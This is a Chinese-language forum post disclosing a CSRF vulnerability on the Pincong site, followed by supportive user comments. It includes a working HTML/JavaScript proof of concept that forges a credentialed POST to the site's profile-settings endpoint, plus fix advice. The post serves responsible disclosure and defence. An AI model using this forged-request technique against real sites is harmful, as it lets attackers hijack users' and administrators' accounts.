【安全漏洞】品葱存在安全漏洞

漏洞影响

普通用户已经登录品葱的情况下,如果点击了攻击者精心构造的链接,攻击者可以操纵帐号进行包括不限于点赞、关注、更改隐私设置、更改个人profile等操作
管理员已经登录品葱的情况下,如果点击了攻击者精心构造的链接,攻击者除了可以操控普通帐号的功能外,还能进行删除/创建用户,修改网站设置,添加网站统计代码
如果网站被添加统计代码攻击者就可以给所有用户执行任意JS代码,搜集用户信息

漏洞POC

将漏洞POC保存成HTML文件,在登录了品葱的浏览器中打开,即可发现品葱账户名和签名被修改
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>POC</title>
</head>
<body>
    <script>
        req = new XMLHttpRequest();
        data = "user_name=test123456&sex=1&signature=test123456&default_timezone=&_post_type=ajax"; 
        req.open('post','https://pincong.rocks/account/ajax/profile_setting/',true); 
        req.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
        req.withCredentials = true;
        req.send(data);
        </script>
</body>
</html>




修复措施/防御建议

站长可以通过增加CSRF Token来防范攻击,也可以通过检查Referer头进行简单防范
对于用户,应该在浏览器隐身模式下使用品葱以防范此类攻击
同时,由于品葱处在一个对抗性的网络环境中,建议在启用Cloudflare基础攻击防护的基础上在服务器上部署文件防篡改防护RASP防护以防御变形payload攻击,同时在不储存用户的隐私的情况下保存系统日志定时审计


最后

希望我们能撑到每个人都能摘下面具的那一天
41
分享 2019-12-02

15 个评论

@admin
admin 公共账号
@admin8964 @某人临时小号 
最后一句话,希望我们能撑到每个人都能摘下面具的那一天
顶起来!!
谢谢楼主!!
话说如果哪天网站做大了,会不会被党国攻击,甚至搜集用户信息,导致我们都进集中营被活摘?漏洞总是无法避免的,挡住这个可能还有其它漏洞没被发现。
挤挤
帮顶
再顶(务必要站长看到)
安全问题事关重大,希望引起注意
我发文还遇到了个类似的报错界面
品葱的发展需要更多的技术人士
典型的CSRF攻击,需尽快修复
這個,還是先轉水比較好吧?

要发言请先登录注册

要发言请先登录注册